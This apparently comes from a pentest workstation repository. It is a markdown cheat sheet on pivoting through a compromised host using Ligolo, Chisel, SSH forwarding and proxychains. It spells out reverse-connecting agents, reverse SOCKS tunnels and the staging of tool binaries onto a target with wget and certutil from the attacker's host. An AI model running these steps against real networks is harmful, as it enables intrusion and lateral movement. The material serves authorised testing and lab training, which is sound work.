repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
pivoting.mdMarkdown72 lines5.3 KiBsource raw download

pivoting — tunnel through a foothold into the flat network#

Once one box is yours, everything it can reach becomes reachable. These wrappers print the exact tunnel recipes; then you drive scanners through them — see cheat recon, cheat nxc, cheat impacket. Container/VPN plumbing lives in cheat htb.

Pick your tunnel#

Ligolo — the full macOS→Docker guide (STAR)#

# 1. proxy inside Docker (htb-exec):   ./proxy -selfcert -laddr 0.0.0.0:11601
# 2. expose 11601 from Docker→macOS (or start container -p 11601:11601)
# 3. TUN iface (inside Docker):        ip tuntap add user root mode tun ligolo
#                                      ip link set ligolo up
# 4. agent on target:  ./agent -connect $LHOST:11601 -ignore-cert     (linux)
#                      agent.exe -connect $LHOST:11601 -ignore-cert   (windows)
# 5. in proxy console:  session → ifconfig (note subnet) → start
# 6. route the subnet:  ip route add 172.16.0.0/24 dev ligolo
# 7. hit it directly:   nmap -sV 172.16.0.5      # no proxychains needed

Chisel — reverse SOCKS when you can only upload a binary (STAR)#

# attacker (you):        chisel server --reverse -p 8001
# pivot host (connect):  ./chisel client $LHOST:8001 R:socks     # → SOCKS on your :1080
# then:                  proxychains nmap -sT -Pn <internal_ip>
#                        proxychains evil-winrm -i <internal_ip> -u user -p pass
# single-port forward:   ./chisel client $LHOST:8001 R:8080:<internal>:80

SSH — no upload needed if you hold creds (STAR)#

ssh -D 1080 -N   user@pivot          # dynamic SOCKS on :1080  → proxychains everything
ssh -L 8080:<internal>:80  user@pivot # pull ONE remote service to your localhost:8080
ssh -R 9001:localhost:9001 user@pivot # push YOUR service to the pivot (rev shells home)
flag meaning
-D <port> dynamic SOCKS proxy — the workhorse, one tunnel for all ports
-L l:host:r local forward — bind local l, reach host:r from the pivot
-R r:host:l remote forward — bind r on pivot, tunnels back to your host:l
-N no remote command (tunnel only) · -f background · -g let others use it

proxychains — run any TCP tool through the SOCKS (STARS)#

htb-proxy — SOCKS5 straight out of the Kali container (STAR)#

Staging binaries on the target — the arsenal#

Prebuilt agents live in ~/kali/arsenal/Pivoting/ — ligolo-ng/ and chisel/ each hold linux_x64, linux_arm64, windows_x64, mac_arm64, … plus nc.exe/nc64.exe and socat. Windows SharpChisel sits in ~/kali/arsenal/AD/sharpcollection/SharpChisel.exe.

serve 80 ~/kali/arsenal/Pivoting/chisel/linux_x64     # http.server on $LHOST:80
# on target:  wget http://$LHOST/chisel && chmod +x chisel
#   windows:  certutil -urlcache -f http://<LHOST>/chisel.exe chisel.exe   (loud)

Golden path: ligolo-setup → route the subnet → scan direct. Fall back to pivot-chisel when you can't route, and reach for pc only for the TCP tools that route can't reach. One tunnel per subnet; label ports so a double pivot doesn't collide.